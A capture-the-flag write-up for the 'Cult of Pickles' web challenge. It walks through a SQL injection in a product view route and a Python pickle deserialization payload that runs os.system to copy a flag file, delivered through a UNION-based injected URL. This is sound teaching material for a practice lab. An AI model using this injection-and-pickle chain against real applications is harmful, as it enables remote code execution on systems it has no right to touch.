Description

The C.O.P (Cult of Pickles) have started up a new web store to sell their merch. We believe that the funds are being used to carry out illicit pickle-based propaganda operations! Investigate the site and try and find a way into their operation!

Explanation: Pickle is a module used to serialize and deserialize Python objects. It is used to store data in a binary format. The module is not secure and can be exploited to execute arbitrary code.

Reconnaissance

We have a website that sells pickle-based merch. Let’s start by visiting the website and see what we can find.

When clicking on a product, we can see the url changes to /view/1. Let’s try to change the value to see if we can access other products.

The server responds with an internal server error. This is a good sign that the website is vulnerable to SQL injection.

SQL injection enumeration

While taking a look at the source code, I noticed that the modles.py file contains the following code:

return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)

The product_id variable is injectable! Some quick prompts from ChatGPT and I was able to find the working syntax:

SELECT data FROM products WHERE id='1' OR '1'='1'
 
' OR '1'='1

If the query is correct, the same page will be displayed.

Even though we have the SQL injection, we need to find a way to exploit it.

Pickle

As mentioned in the description, the website is using the pickle module. I’m not a Python developer, but some quick research showed that the pickle module can be exploited to execute arbitrary code. Here is the article I found: Exploit Python pickles.

Exploitation

There might be several ways to exploit the challenge, but I decided to use the easiest one I can think of. Let’s create a pickle object that will grab flag.txt and paste it in the current directory.

import pickle
import base64
import os
 
payload = "cp flag.txt application/static/."
 
 
class RCE:
    def __reduce__(self):
        return os.system, (payload,)
 
 
if __name__ == "__main__":
    print(base64.urlsafe_b64encode(pickle.dumps(RCE())).decode("ascii"))
 

After running the script, I got the base64 encoded payload gASVOwAAAAAAAAC****.

Instead of loading the id parameter, we need to trick the server to load payload. Inject some SQL to fail the query and then UNION the result to include the payload.

SELECT data FROM products WHERE id='' UNION SELECT '<payload>'

Getting the flag

This is what the URL looks like when we inject the payload:

http://ip/view/' UNION SELECT 'gASVOwAAAAAAAAC****

The website seems broken, but the payload is executed in the background. We can check the static directory to find the flag.txt file.

Conclusion

This challenge was really informative. It showcases how the pickle module can be exploited, and the usage of SQL injection to exploit the website.